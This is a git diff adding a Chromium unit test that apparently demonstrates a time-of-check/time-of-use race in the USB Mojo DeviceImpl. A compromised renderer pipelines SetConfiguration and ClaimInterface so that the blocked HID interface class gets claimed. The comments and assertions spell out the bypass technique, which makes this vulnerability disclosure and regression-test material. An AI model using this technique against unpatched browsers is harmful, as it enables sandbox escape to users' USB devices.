diff --git a/services/device/usb/mojo/device_impl_unittest.cc b/services/device/usb/mojo/device_impl_unittest.cc index ea2d6bce5bbab..2e868d7399b7f 100644 --- a/services/device/usb/mojo/device_impl_unittest.cc +++ b/services/device/usb/mojo/device_impl_unittest.cc @@ -860,6 +860,149 @@ TEST_F(USBDeviceImplTest, ClaimProtectedInterface) { EXPECT_CALL(mock_handle(), Close()); } +// TOCTOU: SetConfiguration is async at the UsbDeviceHandle layer (the real +// UsbDeviceHandleUsbfs/Impl posts the SET_CONFIGURATION ioctl to a blocking +// helper sequence and returns immediately; active_configuration is updated +// only when the helper posts back). A compromised renderer can pipeline +// ClaimInterface immediately behind SetConfiguration on the same Mojo pipe. +// DeviceImpl::ClaimInterface then validates blocked_interface_classes_ against +// the STALE active configuration, while the kernel-level ioctls execute FIFO +// on the helper sequence (SETCONFIGURATION new_cfg, then CLAIMINTERFACE n) so +// the interface actually claimed belongs to the NEW configuration. +// +// This test simulates the async handle by capturing SetConfiguration's +// callback (returning without invoking it, exactly as the real handle does) +// and shows that the protected-class check is bypassed. +TEST_F(USBDeviceImplTest, ClaimProtectedInterfaceSetConfigurationRace) { + // Block HID (0x03) just like WebUsbServiceImpl does. + constexpr uint8_t kHidClass = 0x03; + constexpr uint8_t kVendorClass = 0xFF; + mojo::Remote device = + GetMockDeviceProxyWithBlockedInterfaces(base::span_from_ref(kHidClass)); + + // Multi-config device: same bInterfaceNumber, different bInterfaceClass. + // Config 1 / interface 0 = vendor-specific (allowed). + // Config 2 / interface 0 = HID (blocked). + AddMockConfig(ConfigBuilder(/*configuration_value=*/1) + .AddInterface(/*interface_number=*/0, + /*alternate_setting=*/0, + /*class_code=*/kVendorClass, + /*subclass_code=*/0, + /*protocol_code=*/0) + .Build()); + AddMockConfig(ConfigBuilder(/*configuration_value=*/2) + .AddInterface(/*interface_number=*/0, + /*alternate_setting=*/0, + /*class_code=*/kHidClass, + /*subclass_code=*/0, + /*protocol_code=*/0) + .Build()); + + EXPECT_CALL(mock_device(), OpenInternal(_)); + { + base::test::TestFuture future; + device->Open(future.GetCallback()); + EXPECT_TRUE(future.Get()->is_success()); + } + + // Device enumerates with config 1 active. + EXPECT_CALL(mock_handle(), SetConfigurationInternal(1, _)); + { + base::RunLoop loop; + device->SetConfiguration( + 1, base::BindOnce(&ExpectResultAndThen, true, loop.QuitClosure())); + loop.Run(); + } + ASSERT_TRUE(mock_device().GetActiveConfiguration()); + ASSERT_EQ(1, mock_device().GetActiveConfiguration()->configuration_value); + + // Sanity: directly claiming the HID interface in config 2 IS blocked when + // there is no race (active config = 2 at check time). + EXPECT_CALL(mock_handle(), SetConfigurationInternal(2, _)); + { + base::RunLoop loop; + device->SetConfiguration( + 2, base::BindOnce(&ExpectResultAndThen, true, loop.QuitClosure())); + loop.Run(); + } + EXPECT_CALL(mock_handle(), ClaimInterfaceInternal(0, _)).Times(0); + { + base::RunLoop loop; + device->ClaimInterface( + 0, + base::BindLambdaForTesting([&](mojom::UsbClaimInterfaceResult result) { + EXPECT_EQ(result, mojom::UsbClaimInterfaceResult::kProtectedClass); + loop.Quit(); + })); + loop.Run(); + } + // Reset to config 1 for the race. + EXPECT_CALL(mock_handle(), SetConfigurationInternal(1, _)); + { + base::RunLoop loop; + device->SetConfiguration( + 1, base::BindOnce(&ExpectResultAndThen, true, loop.QuitClosure())); + loop.Run(); + } + + // ---- THE RACE ---- + // Model the real UsbDeviceHandleUsbfs::SetConfiguration: it posts the + // SET_CONFIGURATION ioctl to a SequenceBound helper and returns without + // touching device_info_->active_configuration. Capture the callback to + // hold the "ioctl in flight" window open. + UsbDeviceHandle::ResultCallback pending_set_config_cb; + EXPECT_CALL(mock_handle(), SetConfigurationInternal(2, _)) + .WillOnce( + [&](int value, UsbDeviceHandle::ResultCallback& callback) { + pending_set_config_cb = std::move(callback); + // Return immediately; active_configuration is NOT updated yet. + }); + + // ***BUG***: ClaimInterface(0) reaches the underlying handle even though + // interface 0 in the configuration the kernel will switch to is HID. With + // a real handle, this enqueues ioctl(USBDEVFS_CLAIMINTERFACE, 0) right + // behind ioctl(USBDEVFS_SETCONFIGURATION, 2) on the same FIFO helper + // sequence -> kernel claims the HID interface. + bool handle_claim_reached = false; + EXPECT_CALL(mock_handle(), ClaimInterfaceInternal(0, _)) + .WillOnce( + [&](int interface_number, UsbDeviceHandle::ResultCallback& callback) { + handle_claim_reached = true; + std::move(callback).Run(true); + }); + + // Compromised renderer pipelines both messages on the Mojo pipe without + // awaiting SetConfiguration's reply. + base::test::TestFuture set_config_future; + base::test::TestFuture claim_future; + device->SetConfiguration(2, set_config_future.GetCallback()); + device->ClaimInterface(0, claim_future.GetCallback()); + + // DeviceImpl::ClaimInterface ran while active_configuration was still 1, + // saw class 0xFF, and let it through. + EXPECT_EQ(claim_future.Get(), mojom::UsbClaimInterfaceResult::kSuccess) + << "*** Protected-class blocklist BYPASSED via SetConfiguration TOCTOU " + "***"; + EXPECT_TRUE(handle_claim_reached) + << "device_handle_->ClaimInterface was reached for a HID interface"; + + // active_configuration is STILL 1 -- the protected-class check used stale + // state. + ASSERT_TRUE(mock_device().GetActiveConfiguration()); + EXPECT_EQ(1, mock_device().GetActiveConfiguration()->configuration_value); + + // Now the helper sequence "completes": SetConfigurationComplete runs, + // active_configuration becomes 2. On real hardware ClaimInterfaceComplete + // then runs RefreshEndpointInfo against config 2 and exposes the HID + // endpoints to GenericTransferIn/Out with no further protected-class check. + ASSERT_TRUE(pending_set_config_cb); + mock_device().ActiveConfigurationChanged(2); + std::move(pending_set_config_cb).Run(true); + EXPECT_TRUE(set_config_future.Get()); + + EXPECT_CALL(mock_handle(), Close()); +} + TEST_F(USBDeviceImplTest, SetInterfaceAlternateSetting) { mojo::Remote device = GetMockDeviceProxy();